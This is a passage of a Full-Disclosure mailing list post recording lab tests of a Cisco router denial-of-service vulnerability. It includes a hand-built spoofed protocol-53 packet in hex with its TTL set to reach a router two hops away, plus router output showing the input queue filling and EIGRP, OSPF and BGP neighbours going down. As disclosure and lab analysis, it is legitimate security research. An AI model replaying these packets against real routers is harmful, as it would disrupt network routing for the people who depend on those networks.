THEN I SENT ONE MORE EXPLOITED PACKET TO CROSS QUEUE THREASHOLD AND WHAM!!!!!! Notice the input queue count

```
Router4#sh int e0
Ethernet0 is up, line protocol is up
Hardware is Lance, address is 00e0.1e60.9c09 (bia 00e0.1e60.9c09)
Internet address is 10.1.1.44/8
MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation ARPA, loopback not set
Keepalive set (10 sec)
ARP type: ARPA, ARP Timeout 04:00:00
```

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
Last input 00:00:02, output 00:00:05, output hang never
Last clearing of "show interface" counters 00:01:51
Queueing strategy: fifo
Output queue 0/40, 0 drops; input queue 76/75, 0 drops
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 98 packets input, 7681 bytes, 0 no buffer
 Received 7 broadcasts, 0 runts, 0 giants, 0 throttles
 0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored
 0 input packets with dribble condition detected
30 packets output, 3340 bytes, 0 underruns(0/0/0)
 0 output errors, 0 collisions, 0 interface resets
 0 babbles, 0 late collision, 0 deferred
 0 lost carrier, 0 no carrier
 0 output buffer failures, 0 output buffers swapped out
```

I TRIED PINING FROM THE ATTACKED ROUTER, NO LUCK.

```
Router4#ping 10.1.1.41
```

Type escape sequence to abort.

```
Sending 5, 100-byte ICMP Echos to 10.1.1.41, timeout is 2 seconds: .....
```

```
Success rate is 0 percent (0/5) Router4#
```

So, what this tells us is that attacks can be built up or cumulative and not felt for days, weeks or months.

Section III Remote Multihop Exploit Tests

MULTIHOP/SPOOFED EXERCISE.

In this test I sent the same SWIP packets from the original router 4 Ethernet segment used in earlier tests but this time instead of attacking my local router I decided to attack a router 2 hops down that was using a Multilink serial interface running BGP and EIGRP.

It did not work at first then I remembered I had to change the TTL of the spoofed packet so it would just reach my victim router interface.

ARCHITECTURE.. for this test I used three routers in my lab. Routers 4, 5. and 6. See AMILAB diagram <http://www.amilabs.com/labdiagrams.htm>

The packet originates on the local Ethernet switch segment where router4 resides. The middle router is router 6 and the end router where we want to attack is router 5. There is a dual serial multilink configuration enabled between router 6 and 5. EIGRP AND BGP are running between these interfaces. EIGRP is used on all the routers. So, the interface we want to attack is the MULTILINK 1 interface on router 5 with its IP address of 100.100.100.1. The other side of the Multilink is 100.100.100.2 on router 6. I am sending a spoofed packet from an Ethernet segment of 10.1.1.x off the router 4 Ethernet switch segment. Then the packet goes through router 4 then through router 6 then through router 6's Multilink

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

interface to the end point which is router 5's multilink interface of 100.100.100.1.

BELOW IS MY EDITED PACKET NOTICE THE TTL AND TH SOURCE ADDRESS

```
----- ETHER Header -----  
00 E0 1E 60 9C 09 ETHER: Destination: 00-E0-1E-60-9C-09  
set to router4 default gateway int. gw interface  
  
00 0B 46 37 BA BE ETHER: Source: 00-0B-46-37-BA-BE  
08 00 ETHER: Protocol: IP
```

```
----- IP Header -----  
45 IP: Version = 4  
IP: Header length = 20  
00 IP: Differentiated Services (DS) Field = 0x00  
IP: 0000 00.. DS Codepoint = Default PHB  
(0)  
IP: .... ..00 Unused  
00 30 IP: Packet length = 48  
00 01 IP: Id = 1  
00 00 IP: Fragmentation Info = 0x0000  
IP: .0. .... .... Don't Fragment  
Bit = FALSE  
IP: ..0. .... .... More Fragments  
Bit = FALSE  
IP: ...0 0000 0000 0000 Fragment offset =  
0  
03 IP: Time to live = 3  
35 IP: Protocol = 53 (53)  
ED 09 IP: Header checksum = ED09 (Verified ED09)  
01 01 01 29 IP: Source address = 1.1.1.41  
64 64 64 01 IP: Destination address = 100.100.100.1  
08 00 93 8C 00 02 00 03 IP: 28 bytes of data  
01 02 03 04 05 06 07 08  
09 0A 0B 0C 0D 0E 0F 10  
11 12 13 14
```

Here is my debug packet detail using an ACL thus turning the router into a sniffer.

The packet arrived on my multilink1 serial interface from two router hops away. The source IP address is the spoofed address of 1.1.1.41.

```
000137: *Mar 1 07:18:00.994: %SEC-6-IPACCESSLOGNP: list 103 permitted  
53 1.1.1.41 -> 100.100.100.1, 1 packet  
000138: *Mar 1 07:18:00.994: IP: s=1.1.1.41 (Multilink1),  
d=100.100.100.1 (Multilink1), l en 48, rcvd 3, proto=53  
000139: *Mar 1 07:18:06.902: IP: s=1.1.1.41 (Multilink1),  
d=100.100.100.1 (Multilink1), l en 48, rcvd 3, proto=53  
000140: *Mar 1 07:18:09.002: IP: s=1.1.1.41 (Multilink1),
```

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

d=100.100.100.1 (Multilink1), l en 48, rcvd 3, proto=53

Now lets see if the exploit can be executed. I will send 76 exploit packets.

Interface state before exploit packets arrive:

```
Router5#sh int mul 1
Multilink1 is up, line protocol is up
Hardware is multilink group interface
Internet address is 100.100.100.1/24
MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, loopback not set
Keepalive set (10 sec)
DTR is pulsed for 2 seconds on reset
LCP Open, multilink Open
Open: IPCP, CDPCP
Last input 00:00:00, output never, output hang never
Last clearing of "show interface" counters 00:00:10
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: fifo
Output queue :0/40 (size/max)
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 4 packets input, 511 bytes, 0 no buffer
  Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
 6 packets output, 610 bytes, 0 underruns
  0 output errors, 0 collisions, 0 interface resets
  0 output buffer failures, 0 output buffers swapped out
  0 carrier transitions
```

After the exploit packets arrive.

Notice the Multilink's input queue. I am at the threshold.

```
Router5#sh int mul 1
Multilink1 is up, line protocol is up
Hardware is multilink group interface
Internet address is 100.100.100.1/24
MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, loopback not set
Keepalive set (10 sec)
DTR is pulsed for 2 seconds on reset
LCP Open, multilink Open
Open: IPCP, CDPCP
Last input 00:00:06, output never, output hang never
Last clearing of "show interface" counters 00:00:35
Input queue: 75/75/4/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: fifo
```

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
Output queue :0/40 (size/max)
5 minute input rate 1000 bits/sec, 1 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 84 packets input, 4739 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
13 packets output, 1060 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
0 carrier transitions
```

The exploit starts affecting my routing protocols running on the interface.

```
Router5#
Router5#
001127: *Mar 1 07:33:00.466: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.2 (Mult
link1) is down: holding time expired
001128: *Mar 1 07:33:18.586: %OSPF-5-ADJCHG: Process 1, Nbr
220.220.220.6 on Multilink1 rom FULL to DOWN, Neighbor Down: Dead timer
expired
```

```
Router5#sh int mul 1
Multilink1 is up, line protocol is up
Hardware is multilink group interface
Internet address is 100.100.100.1/24
MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, loopback not set
Keepalive set (10 sec)
DTR is pulsed for 2 seconds on reset
LCP Open, multilink Open
Open: IPCP, CDPCP
Last input 00:00:40, output never, output hang never
Last clearing of "show interface" counters 00:01:08
Input queue: 75/75/43/0 (size/max/drops/flushes); Total output drops:
0
Queueing strategy: fifo
Output queue :0/40 (size/max)
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
 84 packets input, 4739 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
32 packets output, 2250 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
0 carrier transitions
```

```
Router5#
```

```
Router5#sh int mul 1
Multilink1 is up, line protocol is up
Hardware is multilink group interface
Internet address is 100.100.100.1/24
MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, loopback not set
Keepalive set (10 sec)
DTR is pulsed for 2 seconds on reset
LCP Open, multilink Open
Open: IPCP, CDPCP
Last input 00:00:06, output never, output hang never
Last clearing of "show interface" counters 00:00:35
Input queue: 75/75/4/0 (size/max/drops/flushes); Total output drops: 0
Queueing strategy: fifo
Output queue :0/40 (size/max)
5 minute input rate 1000 bits/sec, 1 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
  84 packets input, 4739 bytes, 0 no buffer
  Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
  13 packets output, 1060 bytes, 0 underruns
  0 output errors, 0 collisions, 0 interface resets
  0 output buffer failures, 0 output buffers swapped out
  0 carrier transitions
```

Router5#

Router5#

I am done transmitting the 76 exploits. My routing protocols are still screaming.

```
001127: *Mar 1 07:33:00.466: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.2 (Mu
link1) is down: holding time expired
001128: *Mar 1 07:33:18.586: %OSPF-5-ADJCHG: Process 1, Nbr
220.220.220.6 on Multilink rom FULL to DOWN, Neighbor Down: Dead timer
expired
```

```
Router5#sh int mul 1
Multilink1 is up, line protocol is up
Hardware is multilink group interface
Internet address is 100.100.100.1/24
MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
  reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, loopback not set
Keepalive set (10 sec)
DTR is pulsed for 2 seconds on reset
LCP Open, multilink Open
Open: IPCP, CDPCP
Last input 00:00:40, output never, output hang never
Last clearing of "show interface" counters 00:01:08
```

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Input queue: 75/75/43/0 (size/max/drops/flushes); Total output drops:
0

Queueing strategy: fifo
Output queue :0/40 (size/max)
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
84 packets input, 4739 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants, 0 throttles
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
32 packets output, 2250 bytes, 0 underruns
0 output errors, 0 collisions, 0 interface resets
0 output buffer failures, 0 output buffers swapped out
0 carrier transitions

Router5#

I jump over to router 6 to run some tests and see the other end of the multilink that the exploits passed through.

2509#6

[Resuming connection 6 to r6 ...]

0CC

*** Welcome to the AMI Network, enjoy your research... ***

Router6>

Looks like on this side my Multilink is still up.

Router6#sh int mul 1

Multilink1 is up, line protocol is up
Hardware is multilink group interface
Internet address is 100.100.100.2/24
MTU 1500 bytes, BW 3088 Kbit, DLY 100000 usec,
reliability 255/255, txload 1/255, rxload 1/255
Encapsulation PPP, loopback not set
Keepalive set (10 sec)
DTR is pulsed for 2 seconds on reset
LCP Open, multilink Open
Listen: IPXCP
Open: IPCP, CDPCP
Last input 00:00:00, output never, output hang never
Last clearing of "show interface" counters 07:33:50
Input queue: 0/75/0/0 (size/max/drops/flushes); Total output drops:

762

Queueing strategy: fifo
Output queue :0/40 (size/max)
5 minute input rate 0 bits/sec, 0 packets/sec
5 minute output rate 0 bits/sec, 0 packets/sec
94407 packets input, 5329076 bytes, 0 no buffer
Received 0 broadcasts, 0 runts, 0 giants, 0 throttles

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
99168 packets output, 5394098 bytes, 0 underruns
0 output errors, 0 collisions, 1 interface resets
0 output buffer failures, 0 output buffers swapped out
0 carrier transitions
```

```
Router6#
Router6#
Router6#ping 100.100.100.1
```

However I cannot ping router 5's multilink interface and the routing protocols are still screaming.

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:

```
000067: *Mar 1 07:34:15.414: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1 (Mu
link1) is down: retry limit exceeded.
000068: *Mar 1 07:34:18.190: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1 (Mu
link1) is up: new adjacency....
Success rate is 0 percent (0/5)
Router6#
Router6#ping 100.100.100.1
```

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:

```
..... Success rate is 0 percent (0/5) Router6#
000069: *Mar 1 07:34:58.770: %BGP-3-NOTIFICATION: received from
neighbor 220.220.220.5 0 (hold time expired) 0 bytes
000070: *Mar 1 07:34:58.774: %BGP-5-ADJCHANGE: neighbor 220.220.220.5
Down BGP Notific on received Router6# Router6# Router6#
```

I then tried to ping the remote exploited serial multilink1 interface from 2 hops away and it is dead.

From Router4#ping 100.100.100.1 this is my origination point.

Type escape sequence to abort.

Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:

```
..... Success rate is 0 percent (0/5) Router4# No luck. I will then try
from the from middle router(router6) pinging the other end of the
multilink on router 5.
```

The EIGRP neighbor is in Query mode up but any packets going to the 100.100.100.1 address is futile, except the exploit packets, remember section II? .

```
Router6#sh ip eig nei
IP-EIGRP neighbors for process 1
```

[Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

Full-Disclosure: [Full-Disclosure] FW: Cisco Vulnerability forensic protocol analysis results.

```
H Address Interface Hold Uptime SRTT RTO Q Seq
Type
```

```
                (sec) (ms) Cnt Num
0 100.100.100.1 Mu1 10 00:00:31 1 5000 1 0
1 90.1.1.2 Se0/3 10 01:02:09 18 200 0 17
```

```
Router6#
```

```
Router6#
```

Try pinging from the middle router.

```
Router6#ping 100.100.100.1
```

Type escape sequence to abort.

```
Sending 5, 100-byte ICMP Echos to 100.100.100.1, timeout is 2 seconds:
```

```
..... Success rate is 0 percent (0/5) Router6#
```

```
eigrp neighbors flap..
```

```
000075: *Mar 1 07:38:24.390: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1
```

```
link1) is down: retry limit exceeded
```

```
000076: *Mar 1 07:38:27.634: %DUAL-5-NBRCHANGE: IP-EIGRP 1: Neighbor
100.100.100.1
```

```
link1) is up: new adjacency
```

I also lose my BGP peer over the Multilink.

```
Router6#sh ip b nei 220.220.220.5
```

```
BGP neighbor is 220.220.220.5, remote AS 100, external lin
```